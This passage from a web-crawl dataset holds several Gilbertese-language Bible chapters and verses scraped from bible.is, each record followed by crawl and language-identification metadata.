kaangai:\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21","date":"2016-05-28T20:18:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278091.17\/warc\/CC-MAIN-20160524002118-00093-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1277,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te bongi naba arei, ao E nako Iesu man te auti, ao E tekateka i rarikin te nama. 2Ao a botaki aomata aika m'aiti i rarikina, ma ngaia are E toka n te booti ao E tekateka iai, ao a tei aomata n ua kaan ma mataniwin te nama. 3Ao E atongi baika bati nako ia n taeka ni kabotau, ao E kangai, Noria, e oti nako te tia ununiki ni kamaae koraa n uniki. 4Ao ngke e kamaae, ao a b'aka tabeua ri rarikin te kawai, ao a roko mannikiba ni kang. 5A b'aka tabeua i aon ae ririb'a, ike e aki bati te tano iai, ao a kai riki b'a e mani te tano; 6ma ngke e kabo rake taai, ao a urarake; a mate i bukina ngke a aki roro nako wakaaia. 7Iai koraa ake a b'aka i buakoni kaai aika kateketeke; a riki rake kaai aika kateketeke, ao a karib'ai aroka ake a unikaki. 8A b'aka tabeua koraa i aon te tano ae raoiroi, ao a riki b'a aroka aika uaa: tabekai tatabe bubua uaaia, ao tabekai kaka onobwi, ao tabekai kaka tenibwi. 9Ane iai taningana, ao ke e ongo! 10A roko ngkanne ana reirei Iesu, ao a taku nako Ina, \"E aera ngkai Ko taetae nako ia n taeka ni kabotau?\" 11Ao E kaekaia ni kangai, Kam a tia n anganaki baika raba aika b'ain Uean te Atua; ma ngaiia, a tuai n anganaki. 12B'a ane iai i rouna te atatai ni baika raba aika b'ain Uean te Atua, ao e na anganaki riki, ao e na reke i rouna ni bati; ma ane akea i rouna ao e na anaki mai rouna are iai, e aoria ngkana e rangi n uarereke.\" 13Aei bukin ae I taetae iai nako ia n taeka ni kabotau: b'a a taratara ma a aki noraba; ao a bon ongo ma a aki ongo, ao a aki ataia. 14E a kakoroaki i rouia nanon ana taeka Itaia, are e kangai: 'Ane kam na ongora ma n ongora, ma kam na aki atatai, ao kam na taratara ma n taratara, ma kam na aki noraba. 15B'a e a reke irouia aomata aikai te roo n nano, ao a rawa taningaia ni kan ongo, ao a kamatakiaki mataia: b'a a kawa n noraba ni mataia, ao n ongora n taningaia, ao n atatai n nanoia, ao n rairaki b'a N na kamaiuia.' 16Ma a kab'aia matami b'a a noraba; ao taningami b'a a ongo! 17E koaua ae I a tuangngkami b'a a bati burabeti ma aomata aika raoiroi, ake a kan nori baika kam nori ao a aki nori; ao a kan ongo baika kam ongo, ao a aki ongo. 18Kam na ongora ngkanne ni kab'arab'araan nanon te rongorongo ni kabotau are taekan te tia ununiki. 19Ngkana e ongo taekan Uean te Atua te aomata ao e aki ata nanona, ao e roko iai teuare buakaka n anaa are e a tia n unikaki i nanona; aei te koraa are unikaki ri rarikin te kawai. 20Ao are unikaki i aon te ririb'a bon ane ongo ana taeka te Atua ao e butim'aia naba ma te kukurei; 21ma akea wakaana i nanona, ao e aki tiku ni maan; ao ngkana e roko te kanganga ke te b'ainikirinaki i bukin ana taeka te Atua, ao e a b'aka naba. 22Ao are unikaki i buakoni kaai aika kateketeke bon ane ongo ana taeka te Atua; ma n iango n raraoma nako i bukini b'ain te maiu aei ma mataiakinani kaub'aina a karib'a te taeka, ao e aki kariki uaa. 23Ao are unikaki n te tano are raoiroi bon ane ongo ana taeka te Atua ao e ata nanona; ao e kaoti uaana b'a tatabe bubua ke kaka onobwi ke kaka tenibwi. 24E a manga tuangiia te rongorongo ni kabotau teuana, ao E kangai, Uean te Atua e kona ni kabotauaki ma te aomata are uniki koraa n uita aika raraoi i abana. 25Ma ngke a matu aomata, ao e roko ana kairiribai ao e uniki koraan titania i buakoni koraa n uita, ao e nako. 26Ma ngaia are ngke a riki rake aroka ao a uaa, ao a tib'a kinaki iai ngkanne titania i buakoia. 27Ao a roko ana toro teuare ununiki, ao a taku nako ina, Te toka, tiaki ko uniki koraa ake a raraoi? Ao a roko maia titania? 28Ao e taku nako ia, E a tia ni karaoa aei te tia kairiribai. A taku tooro nako ina, Ko tangirira b'a ti na nako n taeki? 29Ao ngaia e taku, I aki; b'a a kawa ni koutaki nako uita ngkana kam taeki titania. 30Katikuia b'a a na uaia n riki rake ni karokoa tain te tai; ao ni bongin te tai, ao I a tuangiia taan rikoriko ni kangai, Booti moa titania, ao kabaei ni b'ab'ati b'a a na kabuokaki; ma ikoti uita nakoni nnen au am'arake. 31E a manga tuangiia te rongorongo ni kabotau teuana, ao E kangai, Uean te Atua ai aron uaan te m'akeke, are e anaia te aomata ao e unikia i abana. 32Bon te kabanea n uarereke i buakon uaa nako, ma ngkana e a ikawai ao e riki b'a te aroka ae moan te buubura i buakon aroka nako. E a riki b'a te kai are a roko iai mannikiba ni karaoi ngaoia i aoni m'angana. 33E a manga tuangiia te rongorongo ni kabotau teuana, ao E kangai, \"Uean te Atua ai aron te iti, are e anaia te aine ao e renganna ma te buraawa ae abwi rawawatana, ao e kabanea ni karikirakea te buraawa.\" 34E atongi baikai ni kabane Iesu nakoia aomata n taeka ni kabotau: b'a E tatangiria ni kani kakamanenaa te taeka ni kabotau ngkana E reireiniia aomata; 35B'a e na kakoroaki bukin are e atongaki iroun te burabeti, ngke e kangai: \"N na kabonganai taeka ni kabotau ngkana I taetae nako ia; na taekini baika karabaki mani moani karikan aonnaba.\" 36E kitaniia aomata Iesu, ao E nako n rin n te auti. Ao a roko ana reirei i Rouna, ao a taku, \"Ko na kaota nako ira nanon te rongorongo ni kabotau are taekaia titania ake ni nnen uita.\" 37Ao E kaekaia ni kangai, Teuare uniki uaa aika raraoi bon Natin te Aomata. 38Nnen aroka bon te aonnaba; ao uaa ake a raraoi bon aomata aika kaain Uean te Atua; titania bon te koraki ake ana aomata teuare buakaka, 39ao te kairiribai are uniki titania bon te riaboro. Bongin te tai bon tokin aonnaba, ao taan tai bon anera. 40Ao aron titania, ngkai a botaki ni kabuokaki n te ai, ao ai aroia naba te koraki ake ana aomata teuare buakaka: a na botaki ao a na kabuokaki n te ai n tokin aonnaba. 41Ane E na kanakoia ana anera Natin te Aomata, ao a na botiia mai buakoia kaain ueana te koraki ake a riki b'a taani kab'akab'aka nakoia aomata, ao koraki ni kabane ake a kakaraoa ae buakaka; 42ao ane a na teweia nako nakoni nnen te ai, ike a na tang ao a na tenai riaia iai b'a kaotan ae a rotaki n te maraki ae korakora. 43Ao ane a na raneanea akana raoiroi n ai aron taai n uean Tamaia. Ane iai taningana, ao ke e ongo. 44Uean te Atua ai aron te b'ai ae kakawaki are karabaki n te tabo teuana, ao te b'ai are e kunea te aomata temanna ao e karaba; i nanoni kukureina ao e nako ni kabo nako ana b'ai ni kabane, ao e kaboa te aba are e karabaki iai te baerei. 45Ao aio riki: Uean te Atua ai aron te tia bob'ai are ukoukori moomi aika raraoi; 46ngke e kunea te moomi teuana ae e bati boona, ao e nako ni kabo nako ana b'ai ni kabane, ao e kaboa te moomi ni booia. 47Ao manga aio: Uean te Atua ai aron te karaun are kab'akaki i nanon te nama, ao a reke iai ika n aekaia nako; 48ao ngke e on, ao a katikiarake aomata ao a tekateka ni kaokoroi ika ake a raraoi ni kaki i nanoni b'aene, ao a tetewe nako ake a bubuaka. 49Ao ai arona naba n tokin aonnaba. Ane a na roko anera ao a na kaokoroia akana buakaka ma akana raoiroi, 50ao a na teweia nako ni nnen te ai, ike a na tang ao a tenai riaia iai b'a kaotan ae a rotaki n te maraki ae korakora. 51Ao e titirakiniia Iesu b'a atai nanoni baikai ni kabane. A taku nako Ina, \"Eng.\" 52Ao E taku nako ia, \"Ma ngaia aei, b'a te tia koroboki ae reireiaki b'ain Uean te Atua, ai aron te aomata ae iai ana auti, ao te aomata arei e kaotinakoi b'aai aika boou ma b'aai nikawai mani nen ana b'ai.\" 53Ao Iesu, ngke E a tia n atongi taeka ni kabotau aikai, ao E kitana ikekei. 54Ao ngke E roko n ana kawa, ao E reireiia aomata i nanoni m'aneabaia, ao a mimi aomata ake a ongora i Rouna ao a taku, \"E reke maia iroun Teuaei te rabakau aei ma te kona ni karaoi m'akuri aika kamimii aikai? 55Tiaki natin te kabenta Teuaei? Tiaki aran tinana Nei Maria? Ao tiaki tarina Iakobo, ma Ioteb'a, ma Timon, ma Iuta? 56Ao tiaki m'anena aika raora ni maeka? A reke maia ngkanne iroun Teuaei baikai ni kabane?\" 57Ao a ribaia. Ma E taku Iesu nako ia, \"Iai karinean te burabeti n taabo nako, ma akea i abana, ao i nanoni mwengana.\" 58Ao E aki kabatiai ni karaoi m'akuri aika kamimii iai i bukina ngke a aki onimakinna.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/13","date":"2016-05-25T19:15:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275328.0\/warc\/CC-MAIN-20160524002115-00160-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1599,"character_repetition_ratio":0.056,"word_repetition_ratio":0.026,"special_characters_ratio":0.253,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:33Iai atun te man arei teuana ae a tia n ikoaki n te ikoaki ae tara n rangi ni kakaiaki, ma e a tia ni mao. Ao a bane kaain te aonnaba n irira te man arei ni mimiakinna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/3","date":"2016-05-28T22:22:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278244.51\/warc\/CC-MAIN-20160524002118-00106-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000032186508179}","num_words":56,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:44B'a b'aai ni kabane ake a koreaki ngkoa a koreaki i bukin reireiara, b'a e aonga n reke iroura te kaantaninga n taekan te taotaonaki n nano ma te kaunga nano n te B'aib'ara. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/4","date":"2016-05-25T21:14:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275328.63\/warc\/CC-MAIN-20160524002115-00173-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9999660254,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999966025352478}","num_words":50,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:2323Ma ngaia ae e riai b'a a na kaitiakaki baike katotoon oi ni b'ai ake i karawa n te aro anne. Ma b'aini karawa a tangiri aaro n angakarea aika raraoi riki nakon aikai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/23","date":"2016-05-25T13:41:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274985.2\/warc\/CC-MAIN-20160524002114-00162-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9999520779,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999520778656006}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ma Tirouano, ma Timoteo, nakoia kaain te ekaretia i Tetaronike, aika ana b'ai te Atua ae te Tama ma te UEA are Iesu Kristo: ami b'ai te akoaki ma te raoi. 2Ti aki toki ni katituaraoa te Atua i bukimi ni kabaneingkami, ao ti m'aneweingkami n taai nako n ara tataro: 3ngkai ti aki toki, i matan te Atua are Tamara n ururinga ami m'akuri ae kanoan ami onimaki, ma ami m'akuri korakora ae kanoan ami tangira, ao ami kaantaninga ae nene i nanon ara Uea are Iesu Kristo. 4Ti ataingkami, taari, aika kam tangiraki iroun te Atua, b'a E a tia n rineingkami; 5b'a te euangkerio are ti taekinna e aki roko i roumi n ti te taeka, ma e roko naba n te m'aka, ao iroun te Tamnei are Raoiroi, ao n te aki-nanokokoraki naba teutana; n ai aromi ngkai kam bon atai arora ni menara i buakomi i bukimi. 6Kam riki b'a taani kakairi i roura ma te Uea, ngke kam butim'aea ana taeka ma te kim'areirei are mairoun te Tamnei are Raoiroi, i buakon rawawatami ae bati: 7ao i bukin aromi aei ao kam riki b'a te banna ni kakairi nakoia ni kabaneia ake a onimaki i M'aketonia ao i Akaia. 8B'a e aki ti katanoataki n aromi ana taeka te Uea i M'aketonia ma Akaia, ma e a tia naba n tanoata taekan onimakinan te Atua i roumi n taabo ni kabane; ma ngaia ae akea te bae kainanoaki b'a ti na taekinna. 9A bane aomata n taekina aron rinra i buakomi, ma aromi ngke kam rairaki mani bouannanti nakon te Atua, n toro iroun te Atua ae maiu ae koaua, 10ao ni kaantaninga Natina mai karawa are E a manga kamaiua mai buakoia maate, are Iesu, are kamaiura man unin te Atua are e nangi roko.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/1","date":"2016-05-26T05:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275645.9\/warc\/CC-MAIN-20160524002115-00209-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":305,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ao e roko Ioane are te tia B'abetito ni kab'arab'ara n rereuan Iutaia, 2ao e taku, \"Rairi nanomi, b'a e a kan roko Uean te Atua!\" 3Boni ngaia teuare taekinaki iroun te burabeti are Itaia ngke e kangai, \"B'anaan temanna ae takarua n te rereua, 'Katauraoa kawain te Uea; Kaeti kawaina nako!' \" 4E kunnikaia Ioane ni buraen te kamero; ao e b'aina te roo ae te kau b'a kabaean nuukana; ao kanana rokati ma aia karewe manibeeru. 5A nako ina aomata nako mai Ierutarem, Iutaia, ao man taabo ake i rarikin te karaanga are te Ioretan, 6A b'abetitoaki i rouna n te karaanga are te Ioretan, ngke a kaoti aia bure. 7Ngke e noriia B'aritaio ma Tarukaio aika bati Ioane b'a a roko b'a a na b'abetitoaki, ao e taku nako ia, \"Ngkami aika buniia naeta, antai ae tuangngkami b'a kam na biri nako man te un are a kan roko? 8Kam na karaoi m'akuri aika na kaota ae kam a tia n rairi nanomi; 9ao tai taku i nanomi ni kangai, Iai tamara b'a Aberaam; b'a I taku nako imi, b'a E kona te Atua ni karikiia natin Aberaam man atibu aikai! 10Ao e tauraoi ngkai te angaraa ni korei kaai mani wakaaia; te kai are aki kariki uaa aika raraoi, e na koreaki ni kab'akaki, ao e na teweaki nako nanon te ai. 11I b'abetitoingkami n te ran b'a kaotan ae kam a tia n rairi nanomi, ma Teuae na roko i mwiu E kakannato riki nako iu, ao I aki tau b'a N na uouoti ana kauniwae; E na b'abetitoingkami n te Tamnei are Raoiroi, ma te ai. 12E mena i nanoni baina te b'ai ni m'akuri are E na kaitiaka iai maangen te uita man te tabo are ororeaki iai te uita b'a e aonga n raure nako ma kaina. E na boti uaa n uita i nanon ana titoa ni b'ai, ao E na kabuoki maangen uita n te ai are aki mamate.\" 13E nako ngkanne Iesu mai Kariraia nako Ioretan nakon Ioane, b'a E na b'abetitoaki i rouna. 14Ma e kataia n tukiia Ioane, ao e taku, \"I riai ni b'abetitoaki i Roum, ao Ko nako iu?\" 15Ao Iesu E kaeka ni kangai, \"Kariaia ngkai: b'a te b'ai ae riai i roura b'a ti na karaoi b'aai ni kabane ake E tangiri te Atua.\" Ao e kariaia Ioane. 16Ngke E a tia ni b'abetitoaki Iesu, ao E aerake naba man te ran, ao noria, e kaukaki karawa nako Ina, ao E nora Tamnein te Atua b'a E ruo n ai aron te taobe, ao E toka i aona; 17ao noria te b'ana mai karawa ae kangai, \"Natiu aei ae tangiraki i Rou, ae I kakatonga i Rouna.\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/3","date":"2016-05-29T21:22:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049281978.84\/warc\/CC-MAIN-20160524002121-00214-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":457,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:1515E bo te kaibuke iai ao e a aki kona ni buti ni kaitaraa te ang. Ngke akea te bae ti kona ni karaoia, ao e a uotaki nako te kaibuke n te ang. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/15","date":"2016-05-30T22:26:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051114647.95\/warc\/CC-MAIN-20160524005154-00034-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999897480010986}","num_words":50,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1B'a I tangiringkami b'a kam na ata arou ni kakorakoraai ni m'akuri i bukimi, i bukiia ake i Raorikeia, ao i bukiia naba aika m'aiti aika tuai n nora matau. 2I karaoa aei b'a a aonga ni kauungaki nanoia, n aroia n reitaki n te tangira, ao b'a a aonga n aki nanokokoraki teutana n te atatai, are e na ataaki raoi iai te baere raba, are Kristo, are mairoun te Atua, 3are a bane ni karabaki i nanon taian rabakau ma atatai nako. 4I atonga aei b'a e kawa temanna ni m'am'anaingkami n taeka n anai nano. 5B'a I boni ngae n aki mena i roumi n te rab'ata, ma I boni mena naba i roumi n te tamnei; ao I kim'areirei n noran aromi aika riai ma aromi n teimatoa n onimakina Kristo. 6Ma ngaia aei, ngkai kam a tia ni butim'aea Kristo Iesu are te UEA, ao kam na maiu n reitaki ma Ngaia. 7A na nene wakaami i Rouna, ao karikia b'a aani maiumi. Kam na kateimatoaki n ami onimaki, n te aro are kam reireiaki iai, ao kam na kabatia te katituaraoi. 8Kam na taraia b'a e kawa temanna ni kairingkami n te rabakau n aomata ae akea bongana ae m'am'ana te aba, ae nako man aia taeka n reirei aomata ao mani baika iai m'akaia n te aonnaba aei, ma tiaki mairouni Kristo; 9b'a e bane ni mena te aro n Atua i nanoni Kristo, ni maiuna n aomata. 10Ao kam a tia n anganaki te maiu ni koaua ngkai kam reitaki ma Ngaia, are atuuni m'aka ma korakora ni bane. 11N aromi naba n reitaki ma Ngaia ao kam a tia ni kaitiakaki, tiaki n te kaitiakaki are korean te iriko man te rab'ata ni bain te aomata, ma n ana kaitiaki Kristo; 12ao ngke kam b'abetitoaki, ao ti te bo ma kam taunaki ma Ngaia ao kam a manga uaia ni manga uti ma Ngaia i bukina b'a kam onimakina ana m'akuri te Atua are E a manga kamaiua man te mate. 13Ao ngkami, akana kam mate i bukin aromi ni bubure ao i bukina ngkai tiaki ana aomata te Atua ngkami, E a manga kamaiungkami te Atua ma Kristo, ngkae E a tia ni kab'ara ara bure ni kabane; 14ao E kamaunai taekan ara tarau ake a tei i aan arara ma tuaia ake ti kabaeaki iai, ao E kariki n akea nanoia ngke E bobiti ni kanim n te kaibangaki; 15ao i aon te kaibangaki anne, E a kainaomataki Kristo i Rouna mani m'akaia uea ma ake a tauu aroia aomata; E karaoia b'a b'aai ni kamataku nakoia aomata ngke E kairiia n ana m'aati n tokanikai b'a taenikai. 16Ma ngaia are tai kariaia temanna b'a e na baireia b'a tera ae kam na kanna ao kam na nimma, ao tai kariaia naba b'a e na tuangngkami b'a kam na kawakina bongin te toa teuana, ma te Toa ae Moan Otin Nam'akaina, ma Taabati. 17Boni bannani baika na roko baikai, ma te oi ni b'ai ni koaua boni Kristo. 18Kam na tai kariaia b'a e na baireaki taekami b'a kam aki tau iroun temanna are taku b'a e kakannato riki, i bukina b'a e a tia n nori baika kanga taiani mii, ao are e imanonoa b'ainakin te baka n nanorinano ma taromauriaia anera. Akea manenani kainikatongana i bukina b'a e b'aina te nano n aon te aba, 19ao e a tia n aki nim ma Kristo, are atun te rab'ata ae b'anin, are Ngaia ae anga te korakora nakon te rab'ata, ao E kamanenai toma n ri ma iaia b'a b'ain tauani b'ain te rab'ata. 20Ngkai kam a tia ni mate ma Kristo ao kam a kainaomataki mani baika iai m'akaia n te aonnaba aei. Bukin tera ngkai kam maiu ao n riki b'a kaain te aonnaba aei? Bukin tera b'a kam kairaki i aan tuua aikai 21\"Tai taua,\" \"Tai katongnga,\" \"Tai riingnga\"? 22A kaeti taekani baikai nakoni baika na riki n akea bonganaia ngkana a a tia ni kamanenaki; bon tuua ma reirei aika karaoi aomata. 23Kanga b'aai ni baka n rabakau tuua aikai i rouia nake a i manonoia aomata b'a a na taromauriia anera, ao b'a a na b'aina te baka n nanorinano ma aki akoan te rab'ata; ma akea manenaia nakon te aomata ae kan tautaeka i aoni baika e kainanoi rab'atana.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2","date":"2016-05-26T15:01:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275981.56\/warc\/CC-MAIN-20160524002115-00021-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":728,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1B'a te ibonga ae kakannato e a rineaki mai buakoia raona, b'a e na m'akuri i bukin te Atua i bukiia aomata, b'a e na kakaraoi taromauri ma n anganga karea i bukini buure. 2Ngkai a bati naba mamaran te ibonga ae kakannato ao bon iai ana kona n nanoangaia akana karaoi m'akuri aika kairua i bukini babangaia; 3i bukini mamarana anne, ao e bon riai b'a e na anga karea tiaki ti i bukin aia bure aomata, ma i bukin naba oin ana bure. 4Ao akea temanna ae anaa te karineaki aei b'a karineana, ae te nakoa n ibonga ae kakannato, ma ti ngkana e weteaki nako iai iroun te Atua, n ai aron Aaron. 5Ao ai aron naba Kristo, E aki neboaia i bon i Rouna n arona n riki b'a te Ibonga ae Kakannato Ngaia, ma E neboaki iai iroun te Atua ngke E kangai nako Ina, \"Bon Natiu Ngkoe, I karikiko n te bong aei.\" 6Ao E a manga kangai naba n te tabo teuana: \"Bon te Ibonga Ngkoe n aki toki N ai aroni Merekitereka.\" 7Ngke E maiu Iesu i aon te aba, ao E tataro ni bubuti ma te tang ae korakora ma ranni matana nakon Teuare kona te kamaiua man te mate, ao E ongo i Rouna i bukina b'a iai makan ma karinean te Atua i Rouna. 8E boni ngae ngke te Nati, ma E reireinaki te ongeaba ni baike E maraki iai; 9ao ngke E a bobonga raoi arona, ao E riki iai b'a te tia karika te maiu are aki toki nakoia ni kabaneia aika ira nanona; 10ao E atongaki iroun te Atua b'a te Ibonga ae Kakannato, ae te karinan ae Merekitereka. 11A bati ara taeka aika ti kan taekin i bukin te nakoa n ibonga aei ma a kanganga aroia ni kab'arab'araaki nako imi, i bukina ngkai kam aki kai oota iai. 12Kam a riai ni kaman tia n riki b'a taan reirei, ma ae kam bon tangira naba temanna b'a e na reireingkami baike moan reirei n ana taeka te Atua; ao ae kam bon teimatoa naba n tangira te miriki, ao tiaki te am'arake ae matoatoa. 13B'a ane momooi n te miriki ao ai aron te merimeri ae akea ana atatai n taekani karaoan nanon te Atua. 14Ma te am'arake ae matoatoa bon i bukiia aika ikawai, akana a kataneiaki b'a a aonga ni kona n ata te kaokoro i marenan ae raoiroi ma ae buakaka.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/5","date":"2016-05-31T11:58:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051299749.12\/warc\/CC-MAIN-20160524005459-00069-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":411,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aomata nako aika kakoaua b'a Iesu bon te Kristo a bungiaki mairoun te Atua; ao aomata nako aika tangira Teuare karikiia, ao a tangira naba Teuare a bungiaki mai Rouna. 2Ti ataira b'a ti tangiriia natin te Atua, n aei, ngkana ti tangira te Atua, ma n tauu ana tua. 3B'a bon tangiran te Atua te baei, ae tauan ana tua i roura; ao a aki kanganga aroia n tauaki. 4B'a ane bungiaki mairoun te Atua ao e kona ni kataea ana kai te aba: ara onimaki boni ngaia ae anganira te tokanikai i aona. 5Ao antai ae kataea ana kai te aba, tiaki ane kakoaua b'a bon Natin te Atua Iesu? 6Boni Ngaia Teuare nako mai n te raraa ma te ran, are Iesu Kristo. E nako mai, tiaki ti n te ran; ma n te ran ao n te raraa. Ao te Tamnei boni Ngaia te tia kaotiota koauan te baei; b'a te Tamnei bon te koaua. 7B'a teniman taani kaotioti. 8B'a te Tamnei, te ran ao te raraa; ao a boraoi n aia kaotioti. 9Ngkana ti kakoaua aia kaotioti aomata, ao ti na boni kakoaua ana kaotioti te Atua, b'a e kakannato riki. B'a aio ana kaotioti te Atua: b'a E boni kaotioti i bukin Natina. 10Ane onimakina Natin te Atua ao e kawakini baike E a tia n taekin te Atua b'a a koaua. Ane aki ira nanon ana taeka te Atua ao e riki ngaia b'a te tia kewe, b'a kioina ngke e aki kakoaua ana kaotioti te Atua are E taekinna i bukin Natina. 11Ao aio te kaotioti: b'a E anganira te Atua te maiu are aki toki, ao e mena te maiu aei i nanon Natina. 12Ane iai te Nati i rouna, ao iai naba te maiu arei i rouna; ane akea Natin te Atua i rouna; ao akea naba te maiu arei i rouna. 13I koroi baikai nako imi, b'a kam aonga n ataia b'a bon iai i roumi te maiu are aki toki, ngkami akana kam onimakina aran Natin te Atua. 14Ao aio kakoauaana i roura, b'a ngkana ti tataro ni butiia te b'ai teuana n ai aron nanona, ao E bon ongo i roura. 15Ao ngkai ti ataia b'a E ongo i roura ni b'aai nako ae ti bubuti iai, ao ti ataia b'a a tia n reke i roura baike ti bubutiia iai. 16Ngkana e nora tarina te aomata b'a e karaoa te bure ae e na aki mate iai, ao e na tataro i bukina, ao te Atua E na angan teuare e bure te maiu. E a kaeti aei nakoia ake a bure n te bure ae a na aki mate iai. Bon iai te bure ae e mate te aba iai: I aki taku b'a e na tataro i bukin aei. 17Te karaoi m'akuri ni kabane aika buakaka bon te bure; ao bon iai te bure ae e aki mate te aba iai. 18Ti ataia b'a ane bungiaki mairoun te Atua e aki bure; ma Teuare bungiaki mairoun te Atua E kawakinna, ao akea te kabuanib'ai ae na riki nako Ina mairoun teuare buakaka. 19Ti ataira b'a mairoun te Atua ngaira, ao aomata aika aomatan te aonnaba ae bubure a mena i aani m'aakan teuare buakaka. 20Ao ti ata Natin te Atua b'a E a roko, ao E anganira te atatai, b'a ti na ata Teuare koaua; ao ti nim ma Teuare koaua, ti reitaki ma Natina are Iesu Kristo. Bon aei te Atua ni koaua, ao te maiu are aki toki. 21Ataei aika kam uarereke, kam na kawakiningkami n taua raroami mani 